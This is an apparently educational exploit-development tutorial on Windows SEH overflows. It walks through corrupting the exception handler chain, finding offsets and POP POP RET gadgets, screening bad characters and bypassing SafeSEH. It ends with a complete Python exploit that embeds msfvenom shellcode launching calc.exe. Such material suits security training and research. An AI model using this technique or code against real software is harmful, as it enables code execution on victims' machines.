# Windows SEH Overflow Exploitation

> Exploit Structured Exception Handler (SEH) overflows on Windows, bypassing SafeSEH protections to achieve code execution.

- Published: 2025-10-30
- Difficulty: advanced
- Series: Windows Exploitation
- Tags: Windows, Exploit Development, SEH, x86
- Source: https://stevenfoerster.com/tutorials/windows-seh-overflow-exploitation/

## Prerequisites

- Understanding of Windows exception handling
- Experience with basic stack overflows
- Familiarity with Immunity Debugger and mona.py
- Knowledge of x86 assembly

Structured Exception Handling (SEH) is Windows' mechanism for handling exceptions. When the stack is overflowed far enough to corrupt the SEH chain, we can hijack exception handling to gain code execution.

## Understanding SEH

### SEH Chain Structure

```text
Exception Registration Record:
+0x00: Pointer to next SEH record (nSEH)
+0x04: Pointer to exception handler (SEH)
```

nSEH (next Structured Exception Handler pointer) -- the first 4 bytes of the exception registration record, which normally points to the next handler in the chain.

```text
  SEH Chain (linked list on the stack)

  TEB/TIB
  +-------------------+
  | ExceptionList ptr -+--+
  +-------------------+   |
                          v
                  +---------------+
  SEH Record 0   | nSEH (next) --+--+
                  +---------------+  |
                  | Handler addr  |  |
                  +---------------+  |
                          +----------+
                          v
                  +---------------+
  SEH Record 1   | nSEH (next) --+--+
                  +---------------+  |
                  | Handler addr  |  |
                  +---------------+  |
                          +----------+
                          v
                  +---------------+
  Final Record    | 0xFFFFFFFF    |
                  +---------------+
                  | Default handler|
                  +---------------+
```

When an exception occurs:

1. Windows walks the SEH chain
2. Each handler is called until one handles the exception
3. By corrupting the chain, we control execution

### Exploitation Strategy

1. Overflow buffer to corrupt SEH chain
2. Trigger an exception
3. Windows calls our controlled handler address
4. Use POP POP RET gadget to redirect to nSEH
5. nSEH contains a short jump to shellcode

When an exception occurs, the OS calls the registered exception handler. At the point the handler is invoked, the pointer to the exception registration record is at ESP+8. A `POP POP RET` sequence discards the two values above it on the stack (ESP and ESP+4), then `RET` loads the value at ESP+8 -- which is the pointer to the nSEH field. This redirects execution to nSEH, where we place a short jump over the SEH handler address and into our shellcode.

```text
  Stack after overflow:

  +---------------------------+
  |   AAAA... (4112 bytes)    |  Junk
  +---------------------------+
  |   nSEH: JMP +34           |  4 bytes
  +---------------------------+
  |   SEH: POP POP RET addr   |  4 bytes
  +---------------------------+
  |   NOPs + Shellcode         |
  +---------------------------+

  POP POP RET redirection:

  When exception fires, stack has:
  +---------------------------+
  | ESP   -> [value]          | POP EDX
  +---------------------------+
  | ESP+4 -> [value]          | POP EAX
  +---------------------------+
  | ESP+8 -> ptr to nSEH -----+--> RET
  +---------------------------+     |
                                    v
              nSEH: EB 22 90 90 (JMP +34)
                         |
                         +---> lands in NOP sled
                                    |
                                    v
                                shellcode
```

> [!note] SEH exploitation vs. direct EIP overwrite
> SEH exploitation is necessary when stack cookies (canaries) protect the return address. The compiler-inserted canary check runs before the function returns, detecting the overflow and aborting the process. However, SEH records stored on the stack are not protected by stack cookies, so overwriting them bypasses the canary entirely.

## Initial Analysis

### Create Exploit Skeleton

For file-based exploits:

```python
#!/usr/bin/env python3
file = "exploit.mpf"

buffer = b"A"*4700

f = open(file, "wb")
f.write(buffer)
f.close()
print("[+] File saved as " + file)
```

### Trigger the Crash

Open the malicious file in the target application. In Immunity Debugger:

- View -> SEH chain

The chain should show corrupted entries.

## Finding the Offset

### Generate Pattern

```text
!mona pattern_create 4700
```

### Locate SEH Offset

After crashing with the pattern, check SEH chain:

```text
SE Handler: 46326846
```

```text
!mona pattern_offset 46326846
```

```text
Pattern Fh2F (0x46326846) found at position 4116
```

### Calculate nSEH Offset

The SEH structure is:

- nSEH (4 bytes)
- SEH (4 bytes)

So nSEH starts at: 4116 - 4 = **4112**

### Verify Control

```python
#!/usr/bin/env python3
buffer = b"A"*4112
buffer += b"BBBB"  # nSEH
buffer += b"CCCC"  # SEH
buffer += b"D"*400
```

SEH Chain:

```text
Address    SE handler
0012F91C   43434343
42424242   *** CORRUPT ENTRY ***
```

Pass exception to program (`Shift+F9`). Shift+F9 passes the exception to the application instead of letting the debugger handle it. This allows the SEH handler (which we've overwritten) to execute, triggering our exploit chain.

```text
EIP: 43434343
```

## Finding SEH Gadget

We need a POP POP RET sequence from a module without SafeSEH:

```text
!mona seh
```

Choose an address without ASLR/SafeSEH:

```text
0x77ec9cb7 : pop edx # pop eax # ret | kernel32.dll
ASLR: False, SafeSEH: False
```

> [!warning] kernel32.dll and ASLR
> On Windows Vista and later, kernel32.dll has ASLR enabled by default, which means POP POP RET gadgets from kernel32.dll will not have reliable addresses. Use modules without ASLR (check with `!mona modules`) to find gadgets with static addresses.

## Crafting the Exploit

### The Jump Obstacle

Examine the stack near our SEH record:

```text
0012F91C   42424242  BBBB  <- nSEH
0012F920   43434343  CCCC  <- SEH (POP POP RET)
0012F924   44444444  DDDD
...
0012F934   00000000  ....  <- Null bytes (obstacle)
0012F938   44444444  DDDD
```

There are null bytes after our buffer. These are not ours: once execution reaches nSEH, the bytes immediately following the SEH record are whatever the application left on the stack (padding, alignment gaps, or the tail of an adjacent structure), and here that is a run of zeros. A `\x00` decodes as `add [eax], al`, which either corrupts memory or faults, so we cannot simply fall through into the shellcode. That is why nSEH holds a jump rather than the start of the payload: we need to step over these bytes and land cleanly in the NOP sled beyond them.

### Short Jump in nSEH

Use a short jump instruction to skip over obstacles:

```text
\xeb\x22  = JMP SHORT +0x22 (34 bytes forward)
```

Pad to 4 bytes:

```text
\xeb\x22\x90\x90  = JMP +34; NOP; NOP
```

### Test Payload

```python
#!/usr/bin/env python3
buffer = b"A"*4112
buffer += b"\xeb\x22\x90\x90"  # nSEH: JMP +34 bytes
buffer += b"\xb7\x9c\xec\x77"  # SEH: POP POP RET
buffer += b"\x90"*50           # NOP sled
buffer += b"\xcc"              # INT3
buffer += b"D"*350
```

## Identifying Bad Characters

```python
#!/usr/bin/env python3
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
# ... all bytes except \x00
b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

buffer = b"A"*4112
buffer += b"\xeb\x22\x90\x90"
buffer += b"\xb7\x9c\xec\x77"
buffer += b"\x90"*50
buffer += b"\xcc"
buffer += badchars
buffer += b"D"*200
```

Examine memory after the INT3. Look for truncation or corruption.

Bad characters found: `\x00\x0a\x0d\x1a`. Each one breaks the input path for a specific reason: `\x00` terminates C strings, so anything after it is dropped by string-copy routines; `\x0a` (line feed) and `\x0d` (carriage return) are treated as end-of-line by text parsers and file readers; and `\x1a` (Ctrl-Z, `SUB`) is the legacy DOS/Windows end-of-file marker that some file APIs still honor. Because this is a file-based exploit parsed as text, all four get mangled or truncated in transit. The shellcode and every address in the payload must avoid them, which is what the `-b` flag below enforces.

## Generating Shellcode

```bash
msfvenom -p windows/exec cmd=calc.exe \
         -b "\x00\x0a\x0d\x1a" \
         -f c
```

## Complete Exploit

```python
#!/usr/bin/env python3
file = "exploit.mpf"

shellcode = (
b"\xbd\xaa\xf4\xa0\x85\xd9\xcb\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
b"\x31\x83\xea\xfc\x31\x6a\x0f\x03\x6a\xa5\x16\x55\x79\x51\x54"
b"\x96\x82\xa1\x39\x1e\x67\x90\x79\x44\xe3\x82\x49\x0e\xa1\x2e"
b"\x21\x42\x52\xa5\x47\x4b\x55\x0e\xed\xad\x58\x8f\x5e\x8d\xfb"
b"\x13\x9d\xc2\xdb\x2a\x6e\x17\x1d\x6b\x93\xda\x4f\x24\xdf\x49"
b"\x60\x41\x95\x51\x0b\x19\x3b\xd2\xe8\xe9\x3a\xf3\xbe\x62\x65"
b"\xd3\x41\xa7\x1d\x5a\x5a\xa4\x18\x14\xd1\x1e\xd6\xa7\x33\x6f"
b"\x17\x0b\x7a\x40\xea\x55\xba\x66\x15\x20\xb2\x95\xa8\x33\x01"
b"\xe4\x76\xb1\x92\x4e\xfc\x61\x7f\x6f\xd1\xf4\xf4\x63\x9e\x73"
b"\x52\x67\x21\x57\xe8\x93\xaa\x56\x3f\x12\xe8\x7c\x9b\x7f\xaa"
b"\x1d\xba\x25\x1d\x21\xdc\x86\xc2\x87\x96\x2a\x16\xba\xf4\x20"
b"\xe9\x48\x83\x06\xe9\x52\x8c\x36\x82\x63\x07\xd9\xd5\x7b\xc2"
b"\x9e\x2a\x36\x4f\xb6\xa2\x9f\x05\x8b\xae\x1f\xf0\xcf\xd6\xa3"
b"\xf1\xaf\x2c\xbb\x73\xaa\x69\x7b\x6f\xc6\xe2\xee\x8f\x75\x02"
b"\x3b\xec\x18\x90\xa7\xdd\xbf\x10\x4d\x22"
)

buffer = b"A"*4112
buffer += b"\xeb\x22\x90\x90"  # nSEH: JMP +34
buffer += b"\xb7\x9c\xec\x77"  # SEH: POP POP RET
buffer += b"\x90"*50           # NOP sled
buffer += shellcode
buffer += b"D"*(350-len(shellcode))

f = open(file, "wb")
f.write(buffer)
f.close()
print("[+] File saved as " + file)
```

## Execution Flow

```text
1. Buffer overflow corrupts SEH chain

2. Access violation triggers exception

3. Windows calls handler at 0x77ec9cb7 (POP POP RET)
   - POP EDX    ; pops value
   - POP EAX    ; pops value
   - RET        ; returns to nSEH location

4. nSEH contains JMP +34
   - Jumps over obstacle bytes

5. Lands in NOP sled

6. Shellcode executes
```

## Buffer Layout

```text
|    Junk    | nSEH  |  SEH   | NOPs | Shellcode | Pad |
   4112 B     4 B      4 B     50B    ~220B       Rest
              |        |
              |        +-> POP POP RET
              |
              +-> JMP +34 (jumps over SEH and obstacle)
```

## SafeSEH Bypass

Modern systems have SafeSEH. To bypass:

1. Use modules compiled without SafeSEH
2. Check with mona:
   ```text
   !mona modules
   ```
3. Look for `SafeSEH: False`

## Where This Runs Out of Room

This exploit worked because the overflow left us a large, contiguous landing zone: after the SEH record we had room for a 50-byte NOP sled followed by a couple hundred bytes of shellcode. That is a luxury. Plenty of real overflows give you control of the SEH record but only a handful of usable bytes after it before the buffer ends or hits unmapped memory, which is nowhere near enough for a payload.

The next tutorial, [Windows Egghunter Exploitation](https://stevenfoerster.com/tutorials/windows-egghunter-exploitation/), handles exactly that case. Instead of placing shellcode next to the jump, you stash the real payload somewhere else in the process (a separate input field, a heap allocation, an environment string) tagged with a known marker, and put a small egghunter stub in the cramped space you do control. The stub searches memory for the marker and transfers execution to whatever follows it. Same SEH takeover to get code running; a different answer to the question of where the shellcode lives.

## Troubleshooting

### Exception Not Triggering

Add code that causes an exception:

```python
# After overflow, add many bytes to cause access violation
buffer += b"X"*10000
```

### Handler Not Called

Verify SEH chain is properly corrupted. The first handler in the chain must point to your gadget.

### Jump Distance

Calculate exact jump distance by examining the stack layout. The obstacle bytes may vary.
